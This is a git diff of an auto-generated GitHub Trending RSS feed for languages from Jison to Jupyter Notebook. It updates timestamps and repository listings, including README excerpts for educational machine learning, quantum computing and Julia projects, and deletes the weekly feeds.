aad6de97b9d..c7e6e0d71df 100644 --- a/jison-lex/daily/index.xml +++ b/jison-lex/daily/index.xml @@ -1,7 +1,7 @@ GitHub Jison Lex Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:34:57Z + 2023-10-30T01:30:22Z Daily Trending of Jison Lex in GitHub \ No newline at end of file diff --git a/jison-lex/weekly/index.xml b/jison-lex/weekly/index.xml deleted file mode 100644 index 01fdbc761ea..00000000000 --- a/jison-lex/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Jison Lex Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:55:17Z - Weekly Trending of Jison Lex in GitHub - - \ No newline at end of file diff --git a/jison/daily/index.xml b/jison/daily/index.xml index 0dd914ed523..d76568cc51b 100644 --- a/jison/daily/index.xml +++ b/jison/daily/index.xml @@ -1,7 +1,7 @@ GitHub Jison Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:34:58Z + 2023-10-30T01:30:22Z Daily Trending of Jison in GitHub \ No newline at end of file diff --git a/jison/weekly/index.xml b/jison/weekly/index.xml deleted file mode 100644 index 5bd93a09986..00000000000 --- a/jison/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Jison Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:55:19Z - Weekly Trending of Jison in GitHub - - \ No newline at end of file diff --git a/jolie/daily/index.xml b/jolie/daily/index.xml index 0ba63a85e2e..5d98d93cc3e 100644 --- a/jolie/daily/index.xml +++ b/jolie/daily/index.xml @@ -1,7 +1,7 @@ GitHub Jolie Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:34:58Z + 2023-10-30T01:30:24Z Daily Trending of Jolie in GitHub \ No newline at end of file diff --git a/jolie/weekly/index.xml b/jolie/weekly/index.xml deleted file mode 100644 index f85dfe6b394..00000000000 --- a/jolie/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Jolie Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:55:18Z - Weekly Trending of Jolie in GitHub - - \ No newline at end of file diff --git a/jq/daily/index.xml b/jq/daily/index.xml index 927d1e8fa88..cd76fa7b018 100644 --- a/jq/daily/index.xml +++ b/jq/daily/index.xml @@ -1,7 +1,7 @@ GitHub jq Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:34:59Z + 2023-10-30T01:30:23Z Daily Trending of jq in GitHub \ No newline at end of file diff --git a/jq/weekly/index.xml b/jq/weekly/index.xml deleted file mode 100644 index d1c709d6ba2..00000000000 --- a/jq/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub jq Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:55:18Z - Weekly Trending of jq in GitHub - - \ No newline at end of file diff --git a/json-with-comments/daily/index.xml b/json-with-comments/daily/index.xml index da7d4b818b1..9e427c819f0 100644 --- a/json-with-comments/daily/index.xml +++ b/json-with-comments/daily/index.xml @@ -1,7 +1,7 @@ GitHub JSON with Comments Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:35:03Z + 2023-10-30T01:30:25Z Daily Trending of JSON with Comments in GitHub \ No newline at end of file diff --git a/json-with-comments/weekly/index.xml b/json-with-comments/weekly/index.xml deleted file mode 100644 index aa84f61d79d..00000000000 --- a/json-with-comments/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub JSON with Comments Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:55:23Z - Weekly Trending of JSON with Comments in GitHub - - \ No newline at end of file diff --git a/json/daily/index.xml b/json/daily/index.xml index b264cd9c98c..d0a84d5f6bf 100644 --- a/json/daily/index.xml +++ b/json/daily/index.xml @@ -1,7 +1,7 @@ GitHub JSON Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:35:02Z + 2023-10-30T01:30:27Z Daily Trending of JSON in GitHub \ No newline at end of file diff --git a/json/weekly/index.xml b/json/weekly/index.xml deleted file mode 100644 index 472a416d325..00000000000 --- a/json/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub JSON Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:55:20Z - Weekly Trending of JSON in GitHub - - \ No newline at end of file diff --git a/json5/daily/index.xml b/json5/daily/index.xml index 35f33f5caed..4b25fe7f71b 100644 --- a/json5/daily/index.xml +++ b/json5/daily/index.xml @@ -1,7 +1,7 @@ GitHub JSON5 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:35:00Z + 2023-10-30T01:30:26Z Daily Trending of JSON5 in GitHub \ No newline at end of file diff --git a/json5/weekly/index.xml b/json5/weekly/index.xml deleted file mode 100644 index 1ce96b76ca0..00000000000 --- a/json5/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub JSON5 Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:55:22Z - Weekly Trending of JSON5 in GitHub - - \ No newline at end of file diff --git a/jsoniq/daily/index.xml b/jsoniq/daily/index.xml index 3bdc84b1c9d..bd1c55e28b9 100644 --- a/jsoniq/daily/index.xml +++ b/jsoniq/daily/index.xml @@ -1,7 +1,7 @@ GitHub JSONiq Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:35:01Z + 2023-10-30T01:30:26Z Daily Trending of JSONiq in GitHub \ No newline at end of file diff --git a/jsoniq/weekly/index.xml b/jsoniq/weekly/index.xml deleted file mode 100644 index b027ebb15f9..00000000000 --- a/jsoniq/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub JSONiq Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:55:21Z - Weekly Trending of JSONiq in GitHub - - \ No newline at end of file diff --git a/jsonld/daily/index.xml b/jsonld/daily/index.xml index 4daba3f8241..c7d729ff3a4 100644 --- a/jsonld/daily/index.xml +++ b/jsonld/daily/index.xml @@ -1,7 +1,7 @@ GitHub JSONLD Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:35:04Z + 2023-10-30T01:30:28Z Daily Trending of JSONLD in GitHub \ No newline at end of file diff --git a/jsonld/weekly/index.xml b/jsonld/weekly/index.xml deleted file mode 100644 index 7167c30199f..00000000000 --- a/jsonld/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub JSONLD Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:55:24Z - Weekly Trending of JSONLD in GitHub - - \ No newline at end of file diff --git a/jsonnet/daily/index.xml b/jsonnet/daily/index.xml index 5970a8c9090..84eefde18fa 100644 --- a/jsonnet/daily/index.xml +++ b/jsonnet/daily/index.xml @@ -1,7 +1,7 @@ GitHub Jsonnet Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:35:06Z + 2023-10-30T01:30:29Z Daily Trending of Jsonnet in GitHub \ No newline at end of file diff --git a/jsonnet/weekly/index.xml b/jsonnet/weekly/index.xml deleted file mode 100644 index bb2c2ec3195..00000000000 --- a/jsonnet/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Jsonnet Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:55:27Z - Weekly Trending of Jsonnet in GitHub - - - jetty/.eclipsefdn - 2023-10-29T01:55:27Z - tag:github.com,2023-10-29:/jetty/.eclipsefdn - - <p>Repository to host configurations related to the Eclipse Foundation.</p><hr> - - \ No newline at end of file diff --git a/julia/daily/index.xml b/julia/daily/index.xml index ede50665e7e..4366e60a1c0 100644 --- a/julia/daily/index.xml +++ b/julia/daily/index.xml @@ -1,21 +1,28 @@ GitHub Julia Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:35:08Z + 2023-10-30T01:30:31Z Daily Trending of Julia in GitHub - triscale-innov/DataViewer.jl - 2023-10-29T01:35:08Z - tag:github.com,2023-10-29:/triscale-innov/DataViewer.jl - - <p>Visualization GUI for (julia-related) data files</p><hr> + MIT-LAE/IdealGases.jl + 2023-10-30T01:30:31Z + tag:github.com,2023-10-30:/MIT-LAE/IdealGases.jl + + <p>Julia package to model thermodynamics of ideal gas mixtures.</p><hr> - trixi-framework/libtrixi - 2023-10-29T01:35:08Z - tag:github.com,2023-10-29:/trixi-framework/libtrixi - - <p>Interface library for using Trixi.jl from C/C++/Fortran</p><hr> + JuliaLang/StyledStrings.jl + 2023-10-30T01:30:31Z + tag:github.com,2023-10-30:/JuliaLang/StyledStrings.jl + + <p></p><hr> + + + JuliaGeometry/Quaternions.jl + 2023-10-30T01:30:31Z + tag:github.com,2023-10-30:/JuliaGeometry/Quaternions.jl + + <p>A Julia implementation of quaternions</p><hr> \ No newline at end of file diff --git a/julia/weekly/index.xml b/julia/weekly/index.xml deleted file mode 100644 index 401581858f4..00000000000 --- a/julia/weekly/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - GitHub Julia Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:55:26Z - Weekly Trending of Julia in GitHub - - - JuliaLang/StyledStrings.jl - 2023-10-29T01:55:26Z - tag:github.com,2023-10-29:/JuliaLang/StyledStrings.jl - - <p></p><hr> - - - JuliaSymbolics/Symbolics.jl - 2023-10-29T01:55:26Z - tag:github.com,2023-10-29:/JuliaSymbolics/Symbolics.jl - - <p>Symbolic programming for the next generation of numerical software</p><hr> - - \ No newline at end of file diff --git a/jupyter-notebook/daily/index.xml b/jupyter-notebook/daily/index.xml index f5ae33d49b5..e11bc011f50 100644 --- a/jupyter-notebook/daily/index.xml +++ b/jupyter-notebook/daily/index.xml @@ -1,14 +1,28 @@ GitHub Jupyter Notebook Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:35:11Z + 2023-10-30T01:30:34Z Daily Trending of Jupyter Notebook in GitHub - fall-fest-latino/escuela-de-computacion-cuantica-2023 - 2023-10-29T01:35:11Z - tag:github.com,2023-10-29:/fall-fest-latino/escuela-de-computacion-cuantica-2023 - - <p></p><hr><img width="1000" alt="fallfestlatino-github" src="https://github.com/fall-fest-latino/escuela-de-computacion-cuantica-2023/assets/1554515/27b9064b-5310-4bcd-baae-640eef67c4bc"> <h1>Escuela en Español de Computación Cuántica 2023</h1> <p>Esta escuela brinda clases, conferencias y sesiones de programación detalladas sobre la tecnología de vanguardia: La Computación Cuántica, cubriendo áreas importantes en el campo académico y laboral, de la mano de especialistas en computación cuántica, las computadoras cuánticas de IBM y los módulos de Qiskit. Esta actividad está dirigida a estudiantes de habla hispana y con interés en desarrollar habilidades profesionales en esta tecnología emergente.</p> <p><a href="https://www.cofalumniusb.org/qiskit-escuela-de-verano-2023">Página web del evento</a></p> <h2><a href="https://github.com/fall-fest-latino/escuela-de-computacion-cuantica-2023/tree/main/dia01">Día 1</a></h2> <ul> <li>Analogía: computación clásica y cuántica</li> <li>Álgebra líneal</li> <li>Fundamentos de la computación cuántica</li> </ul> <h2><a href="https://github.com/fall-fest-latino/escuela-de-computacion-cuantica-2023/tree/main/dia02">Día 2</a></h2> <ul> <li>¿Cómo iniciar con los algoritmos cuánticos?</li> <li>IBM Quantum Composer</li> <li>Entrelazamiento</li> </ul> <h2><a href="https://github.com/fall-fest-latino/escuela-de-computacion-cuantica-2023/tree/main/dia03">Día 3</a></h2> <ul> <li>Algoritmos cuánticos</li> <li>Uso de hardware cuántico</li> <li>Qiskit Runtime</li> </ul> <h2><a href="https://github.com/fall-fest-latino/escuela-de-computacion-cuantica-2023/tree/main/dia04">Día 4</a></h2> <ul> <li>Algoritmo de Grover</li> <li>Aplicaciones del algoritmo de Grover</li> <li>Hardware actual</li> </ul> <h2><a href="https://github.com/fall-fest-latino/escuela-de-computacion-cuantica-2023/tree/main/dia05">Día 5</a></h2> <ul> <li>Transformada cuántica de Fourier</li> <li>Estimación de fase cuántica</li> <li>Algoritmo de Shor</li> </ul> <h2><a href="https://github.com/fall-fest-latino/escuela-de-computacion-cuantica-2023/tree/main/ejercicios">Ejercicios</a></h2> <ul> <li>Reto 1: Circuitos Cuánticos</li> </ul> + microsoft/generative-ai-for-beginners + 2023-10-30T01:30:34Z + tag:github.com,2023-10-30:/microsoft/generative-ai-for-beginners + + <p>12 Lessons, Get Started Building with Generative AI</p><hr><p><a href="https://github.com/microsoft/Generative-AI-For-Beginners/raw/master/LICENSE"><img src="https://img.shields.io/github/license/microsoft/Generative-AI-For-Beginners.svg?sanitize=true" alt="GitHub license"></a> <a href="https://GitHub.com/microsoft/Generative-AI-For-Beginners/graphs/contributors/"><img src="https://img.shields.io/github/contributors/microsoft/Generative-AI-For-Beginners.svg?sanitize=true" alt="GitHub contributors"></a> <a href="https://GitHub.com/microsoft/Generative-AI-For-Beginners/issues/"><img src="https://img.shields.io/github/issues/microsoft/Generative-AI-For-Beginners.svg?sanitize=true" alt="GitHub issues"></a> <a href="https://GitHub.com/microsoft/Generative-AI-For-Beginners/pulls/"><img src="https://img.shields.io/github/issues-pr/microsoft/Generative-AI-For-Beginners.svg?sanitize=true" alt="GitHub pull-requests"></a> <a href="http://makeapullrequest.com"><img src="https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat-square" alt="PRs Welcome"></a></p> <p><a href="https://GitHub.com/microsoft/Generative-AI-For-Beginners/watchers/"><img src="https://img.shields.io/github/watchers/microsoft/Generative-AI-For-Beginners.svg?style=social&amp;label=Watch" alt="GitHub watchers"></a> <a href="https://GitHub.com/microsoft/Generative-AI-For-Beginners/network/"><img src="https://img.shields.io/github/forks/microsoft/Generative-AI-For-Beginners.svg?style=social&amp;label=Fork" alt="GitHub forks"></a> <a href="https://GitHub.com/microsoft/Generative-AI-For-Beginners/stargazers/"><img src="https://img.shields.io/github/stars/microsoft/Generative-AI-For-Beginners.svg?style=social&amp;label=Star" alt="GitHub stars"></a></p> <p><a href="https://codespaces.new/microsoft/generative-ai-for-beginners"><img src="https://img.shields.io/static/v1?style=for-the-badge&amp;label=GitHub+Codespaces&amp;message=Open&amp;color=lightgrey&amp;logo=github" alt="Open in GitHub Codespaces"></a> <a href="https://aka.ms/genai-discord"><img src="https://dcbadge.vercel.app/api/server/ByRwuEEgH4" alt=""></a></p> <h1>Generative AI for Beginners - A Course</h1> <p>Learn the fundamentals of building Generative AI applications with our 12-lesson comprehensive course by Microsoft Cloud Advocates. Each lesson covers a key aspect of Generative AI principles and application development. This course will take you from learning Generative AI concepts like LLMs and prompt engineering to applying those ideas by building real Generative AI applications.</p> <p>Throughout this course, we will be building our own Generative AI startup so you can get an understanding of what it takes to launch your ideas.</p> <p>Build a strong foundation of Generative AI knowledge and start applying it today!</p> <h2>📂 Each lesson includes:</h2> <ul> <li>optional supplemental video</li> <li>written lesson</li> <li>for project-based lessons, step-by-step guides on how to build the project</li> <li>a challenge</li> <li>links</li> </ul> <h2>🌱 Getting Started</h2> <p>To get started, <a href="https://github.com/microsoft/generative-ai-for-beginners/fork">fork this entire repo</a> to your own GitHub account to be able to change any code and complete the challenges. You can also <a href="https://docs.github.com/en/get-started/exploring-projects-on-github/saving-repositories-with-stars">star (🌟) this repo</a> to find it easier later!</p> <p>This course is divided into 6 concept lessons and 6 coding lessons. The coding lessons have both a Juypter Notebook and README included if you only want to view the results of the code and text. To help you get up and running faster, we recommend using this course with Github Codespaces (no extra installs needed). You can open this by using the link below:</p> <p><a href="https://codespaces.new/microsoft/generative-ai-for-beginners"><img src="https://img.shields.io/static/v1?style=for-the-badge&amp;label=GitHub+Codespaces&amp;message=Open&amp;color=lightgrey&amp;logo=github" alt="Open in GitHub Codespaces"></a></p> <p>To make sure you have access to the right tools for the coding projects, go to the <a href="https://raw.githubusercontent.com/microsoft/generative-ai-for-beginners/main/00-course-setup/README.md">Course Introduction Page</a></p> <p>If you enjoyed this course, we would really apperciate it if you starred (🌟) this repo!</p> <h2>🗣️ Meet Other Learners, Get Support</h2> <p>We believe one of the best ways to learn is learning with others! Join our <a href="https://aka.ms/genai-discord">official AI Discord server</a> to meet and network with other learners taking this course and get support. Who knows? You might find your next co-founder there!</p> <h2>🗃️ Lessons</h2> <table> <thead> <tr> <th align="center"></th> <th align="center">Lesson Link</th> <th align="center">Concepts Taught</th> <th>Learning Goal</th> </tr> </thead> <tbody> <tr> <td align="center">00</td> <td align="center"><a href="https://raw.githubusercontent.com/microsoft/generative-ai-for-beginners/main/00-course-setup/README.md">Course Introduction - How to Take This Course</a></td> <td align="center">Tech setup and course structure</td> <td>Setting you up for success while learning in this course</td> </tr> <tr> <td align="center">01</td> <td align="center"><a href="https://raw.githubusercontent.com/microsoft/generative-ai-for-beginners/main/01-introduction-to-genai/README.md">Introduction to Generative AI and LLMs</a></td> <td align="center">Generative AI and how we landed on the current technology landscape</td> <td>Understanding what Generative AI is and how Large Language Models (LLMs) work.</td> </tr> <tr> <td align="center">02</td> <td align="center"><a href="https://raw.githubusercontent.com/microsoft/generative-ai-for-beginners/main/02-exploring-and-comparing-different-llms/README.md">Exploring and comparing different LLMs</a></td> <td align="center">Testing, iterating, and comparing different Large Language Models</td> <td>Select the right model for your use case</td> </tr> <tr> <td align="center">03</td> <td align="center"><a href="https://raw.githubusercontent.com/microsoft/generative-ai-for-beginners/main/03-using-generative-ai-responsibly/README.MD">Using Generative AI Responsibly</a></td> <td align="center">Understanding the limitations of foundation models and the risks behind AI</td> <td>Learn how to build Generative AI Applications responsibly</td> </tr> <tr> <td align="center">04</td> <td align="center"><a href="https://raw.githubusercontent.com/microsoft/generative-ai-for-beginners/main/4-prompt-engineering-fundamentals/">Understanding Prompt Engineering Fundamentals</a></td> <td align="center">Hands-on application of Prompt Engineering Best Practices</td> <td>Understand prompt structure &amp; usage</td> </tr> <tr> <td align="center">05</td> <td align="center"><a href="https://raw.githubusercontent.com/microsoft/generative-ai-for-beginners/main/05-advanced-prompts/README.md">Creating Advanced Prompts</a></td> <td align="center">Extend your knowledge of prompt engineering by applying different techniques to your prompts</td> <td>Apply prompt engineering techniques that improve the outcome of your prompts.</td> </tr> <tr> <td align="center">06</td> <td align="center"><a href="https://raw.githubusercontent.com/microsoft/generative-ai-for-beginners/main/06-text-generation-apps/README.md">Building Text Generation Applications</a></td> <td align="center">Build a text generation app using Azure OpenAI</td> <td>Understand how to efficiently use tokens and temperature to vary the model's output</td> </tr> <tr> <td align="center">07</td> <td align="center"><a href="https://raw.githubusercontent.com/microsoft/generative-ai-for-beginners/main/07-building-chat-applications/README.md">Building Chat Applications</a></td> <td align="center">Techniques for efficiently building and integrating chat applications.</td> <td>Identify key metrics and considerations to effectively monitor and maintain the quality of AI-powered chat applications</td> </tr> <tr> <td align="center">08</td> <td align="center"><a href="https://raw.githubusercontent.com/microsoft/generative-ai-for-beginners/main/08-building-search-applications/README.md">Building Search Apps Vector Databases</a></td> <td align="center">Semantic vs Keyword search. What are text embeddings and how do they apply to search</td> <td>Create an application that uses Embeddings to search for data.</td> </tr> <tr> <td align="center">09</td> <td align="center"><a href="https://raw.githubusercontent.com/microsoft/generative-ai-for-beginners/main/09-building-image-applications/README.md">Building Image Generation Applications</a></td> <td align="center">Image generation and why it's useful in building applications</td> <td>Build an image generation application</td> </tr> <tr> <td align="center">10</td> <td align="center"><a href="https://raw.githubusercontent.com/microsoft/generative-ai-for-beginners/main/10-building-low-code-ai-applications/">Building Low Code AI Applications</a></td> <td align="center">Introduction to Generative AI in Power Platform</td> <td>Build a Student Assignment Tracker App for our education startup with Low Code</td> </tr> <tr> <td align="center">11</td> <td align="center"><a href="https://raw.githubusercontent.com/microsoft/generative-ai-for-beginners/main/11%20-%20Integrating%20External%20Applications%20with%20Function%20Calling%20/">Integrating External Applications with Function Calling</a></td> <td align="center">What is function calling and its use cases for applications</td> <td>Setup a function call to retrieve data from an external API</td> </tr> <tr> <td align="center">12</td> <td align="center"><a href="https://raw.githubusercontent.com/microsoft/generative-ai-for-beginners/main/12-designing-ux-for-ai-applications/">Designing UX for AI Applications</a></td> <td align="center">Designing AI Applications for Trust and Transparency</td> <td>Apply UX design principles when developing Generative AI Applications</td> </tr> <tr> <td align="center">xx</td> <td align="center"><a href="https://raw.githubusercontent.com/microsoft/generative-ai-for-beginners/main/13-continued-learning/README.md">Continue Your Learning</a></td> <td align="center">Links to continue your learning from each lesson!</td> <td>Mastering your Generative AI skills</td> </tr> </tbody> </table> <h3>🚀 Are you a startup or got an idea you want to launch?</h3> <p>Visit <a href="https://www.microsoft.com/startups">Microsoft's Founders Hub</a> where you can apply to receive <strong>free OpenAI credits</strong> and up to <strong>$150k towards Azure's leading AI services</strong> as well as <strong>1:1 expert support</strong> with Microsoft's AI experts.</p> <h2>🎒 Other Courses</h2> <p>Our team produces other courses! Check out:</p> <ul> <li> <p><a href="https://aka.ms/ml-beginners">ML for Beginners</a></p> </li> <li> <p><a href="https://aka.ms/datascience-beginners">Data Science for Beginners</a></p> </li> <li> <p><a href="https://aka.ms/ai-beginners">AI for Beginners</a></p> </li> <li> <p><a href="https://aka.ms/webdev-beginners">Web Dev for Beginners</a></p> </li> <li> <p><a href="https://aka.ms/iot-beginners">IoT for Beginners</a></p> </li> <li> <p><a href="https://github.com/microsoft/xr-development-for-beginners">XR Development for Beginners</a></p> </li> </ul> + + + Luchkata/Algorithmic_Trading_Machine_Learning + 2023-10-30T01:30:34Z + tag:github.com,2023-10-30:/Luchkata/Algorithmic_Trading_Machine_Learning + + <p></p><hr><h1>Algorithmic_Trading_Machine_Learning</h1> <ul> <li>Project 1 - Unsupervised Learning Trading Strategy</li> <li>Project 2 - Twitter Sentiment Trading Strategy</li> <li>Project 3 - Intraday GARCH Trading Strategy</li> </ul> <h1>If you are interested in getting news + data alerts + bot signals from similar or more advances strategies:</h1> <ul> <li>Join my Premium Discord Server - <a href="https://whop.com/quantfactory/">https://whop.com/quantfactory/</a></li> <li>Join my Premium Stocks Newsletter - <a href="https://quantfactory.substack.com/">https://quantfactory.substack.com/</a></li> <li>Receive 1 Premium Strategy Research per Month - <a href="https://www.patreon.com/Lachone">https://www.patreon.com/Lachone</a></li> </ul> + + + gerdm/prml + 2023-10-30T01:30:34Z + tag:github.com,2023-10-30:/gerdm/prml + + <p>Repository of notes, code and notebooks in Python for the book Pattern Recognition and Machine Learning by Christopher Bishop</p><hr><h1>Pattern Recognition and Machine Learning (PRML)</h1> <p><img src="https://i.imgur.com/2uCUY3q.png" alt="MDN"></p> <p><a href="https://nbviewer.jupyter.org/github/gerdm/prml/tree/master/"><img src="https://raw.githubusercontent.com/jupyter/design/master/logos/Badges/nbviewer_badge.svg?sanitize=true" alt="nbviewer"></a></p> <p>This project contains Jupyter notebooks of many the algorithms presented in Christopher Bishop's Pattern Recognition and Machine Learning book, as well as replicas for many of the graphs presented in the book.</p> <h2>Discussions (new)</h2> <p>If you have any questions and/or requests, check out the <a href="https://github.com/gerdm/prml/discussions">discussions</a> page!</p> <h2>Useful Links</h2> <ul> <li><a href="https://www.microsoft.com/en-us/research/publication/pattern-recognition-machine-learning">PRML Book</a></li> <li><a href="http://www.matrixcalculus.org/matrixCalculus">Matrix Calculus</a></li> <li><a href="https://www.math.uwaterloo.ca/~hwolkowi/matrixcookbook.pdf">The Matrix Cookbook</a></li> <li><a href="https://www.microsoft.com/en-us/research/wp-content/uploads/2016/05/prml-errata-1st-20110921.pdf">PRML Errata</a></li> <li><a href="https://github.com/yousuketakada/prml_errata">More PRML Errata (repo)</a></li> </ul> <h2>Content</h2> <pre><code>. ├── README.md ├── chapter01 │&nbsp;&nbsp; ├── einsum.ipynb │&nbsp;&nbsp; ├── exercises.ipynb │&nbsp;&nbsp; └── introduction.ipynb ├── chapter02 │&nbsp;&nbsp; ├── Exercises.ipynb │&nbsp;&nbsp; ├── bayes-binomial.ipynb │&nbsp;&nbsp; ├── bayes-normal.ipynb │&nbsp;&nbsp; ├── density-estimation.ipynb │&nbsp;&nbsp; ├── exponential-family.ipynb │&nbsp;&nbsp; ├── gamma-distribution.ipynb │&nbsp;&nbsp; ├── mixtures-of-gaussians.ipynb │&nbsp;&nbsp; ├── periodic-variables.ipynb │&nbsp;&nbsp; ├── robbins-monro.ipynb │&nbsp;&nbsp; └── students-t-distribution.ipynb ├── chapter03 │&nbsp;&nbsp; ├── bayesian-linear-regression.ipynb │&nbsp;&nbsp; ├── equivalent-kernel.ipynb │&nbsp;&nbsp; ├── evidence-approximation.ipynb │&nbsp;&nbsp; ├── linear-models-for-regression.ipynb │&nbsp;&nbsp; ├── ml-vs-map.ipynb │&nbsp;&nbsp; ├── predictive-distribution.ipynb │&nbsp;&nbsp; └── sequential-bayesian-learning.ipynb ├── chapter04 │&nbsp;&nbsp; ├── exercises.ipynb │&nbsp;&nbsp; ├── fisher-linear-discriminant.ipynb │&nbsp;&nbsp; ├── least-squares-classification.ipynb │&nbsp;&nbsp; ├── logistic-regression.ipynb │&nbsp;&nbsp; └── perceptron.ipynb ├── chapter05 │&nbsp;&nbsp; ├── backpropagation.ipynb │&nbsp;&nbsp; ├── bayesian-neural-networks.ipynb │&nbsp;&nbsp; ├── ellipses.ipynb │&nbsp;&nbsp; ├── imgs │&nbsp;&nbsp; │&nbsp;&nbsp; └── f51.png │&nbsp;&nbsp; ├── mixture-density-networks.ipynb │&nbsp;&nbsp; ├── soft-weight-sharing.ipynb │&nbsp;&nbsp; └── weight-space-symmetry.ipynb ├── chapter06 │&nbsp;&nbsp; ├── gaussian-processes.ipynb │&nbsp;&nbsp; └── kernel-regression.ipynb ├── chapter07 │&nbsp;&nbsp; ├── relevance-vector-machines.ipynb │&nbsp;&nbsp; └── support-vector-machines.ipynb ├── chapter08 │&nbsp;&nbsp; ├── exercises.ipynb │&nbsp;&nbsp; ├── graphical-model-inference.ipynb │&nbsp;&nbsp; ├── img.jpeg │&nbsp;&nbsp; ├── markov-random-fields.ipynb │&nbsp;&nbsp; ├── sum-product.ipynb │&nbsp;&nbsp; └── trees.ipynb ├── chapter09 │&nbsp;&nbsp; ├── gaussian-mixture-models.ipynb │&nbsp;&nbsp; ├── k-means.ipynb │&nbsp;&nbsp; └── mixture-of-bernoulli.ipynb ├── chapter10 │&nbsp;&nbsp; ├── exponential-mixture-gaussians.ipynb │&nbsp;&nbsp; ├── local-variational-methods.ipynb │&nbsp;&nbsp; ├── mixture-gaussians.ipynb │&nbsp;&nbsp; ├── variational-logistic-regression.ipynb │&nbsp;&nbsp; └── variational-univariate-gaussian.ipynb ├── chapter11 │&nbsp;&nbsp; ├── adaptive-rejection-sampling.ipynb │&nbsp;&nbsp; ├── gibbs-sampling.ipynb │&nbsp;&nbsp; ├── hybrid-montecarlo.ipynb │&nbsp;&nbsp; ├── markov-chain-motecarlo.ipynb │&nbsp;&nbsp; ├── rejection-sampling.ipynb │&nbsp;&nbsp; ├── slice-sampling.ipynb │&nbsp;&nbsp; └── transformation-random-variables.ipynb ├── chapter12 │&nbsp;&nbsp; ├── bayesian-pca.ipynb │&nbsp;&nbsp; ├── kernel-pca.ipynb │&nbsp;&nbsp; ├── ppca.py │&nbsp;&nbsp; ├── principal-component-analysis.ipynb │&nbsp;&nbsp; └── probabilistic-pca.ipynb ├── chapter13 │&nbsp;&nbsp; ├── em-hidden-markov-model.ipynb │&nbsp;&nbsp; ├── hidden-markov-model.ipynb │&nbsp;&nbsp; └── linear-dynamical-system.ipynb ├── chapter14 │&nbsp;&nbsp; ├── CART.ipynb │&nbsp;&nbsp; ├── boosting.ipynb │&nbsp;&nbsp; ├── cmm-linear-regression.ipynb │&nbsp;&nbsp; ├── cmm-logistic-regression.ipynb │&nbsp;&nbsp; └── tree.py └── misc └── tikz ├── ch13-hmm.tex └── ch8-sum-product.tex 17 directories, 73 files </code></pre> \ No newline at end of file diff --git a/jupyter-notebook/weekly/index.xml b/jupyter-notebook/weekly/index.xml deleted file mode 100644 index 3bfd6840255..00000000000 --- a/jupyter-notebook/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub Jupyter Notebook Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:55:30Z - Weekly Trending of Jupyter Notebook in GitHub - - - GeostatsGuy/PythonNumericalDemos - 2023-10-29T01:55:30Z - tag:github.com,2023-10-29:/GeostatsGuy/PythonNumericalDemos - - <p>Well-documented Python demonstrations for spatial data analytics, geostatistical and machine learning to support my courses.</p><hr><p> <img src="https://github.com/GeostatsGuy/GeostatsPy/raw/master/TCG_color_logo.png" width="220" height="200"> </p> <h1>PythonNumericalDemos: Educational Data Science Demonstrations Repository (1.0.0)</h1> <h2>Professor Michael Pyrcz, The University of Texas at Austin</h2> <p>A collection of Python demos for spatial data analytics, geostatistics and machine learning methods.</p> <p>Please cite as:</p> <p>Pyrcz, Michael J. (2021). PythonNumericalDemos: Educational Data Science Demonstrations Repository (1.0.0). Zenodo. <a href="https://doi.org/10.5281/zenodo.5564991">https://doi.org/10.5281/zenodo.5564991</a></p> <p>I use these demonstrations for:</p> <ol> <li>in-lecture walkthroughs</li> <li>hands-on experiential learning with specific tasks suggested in the accompanying lecture notes</li> <li>example workflows to support my students</li> </ol> <p>Other resources that you might be interested in include:</p> <ul> <li><a href="https://github.com/GeostatsGuy/geostatsr">R workflow repository</a></li> <li><a href="https://github.com/GeostatsGuy/ExcelNumericalDemos">Excel workflow repository</a></li> <li><a href="https://github.com/GeostatsGuy/GeostatsPy">GeostatsPy package</a></li> </ul> <p>While I have more than 20 years experience coding in FORTRAN, C++ and VBA, I just started with Python a couple of years ago. I love it. I code less and get more done! I recommend Python to any engineers or scientists. Here's some reasons to 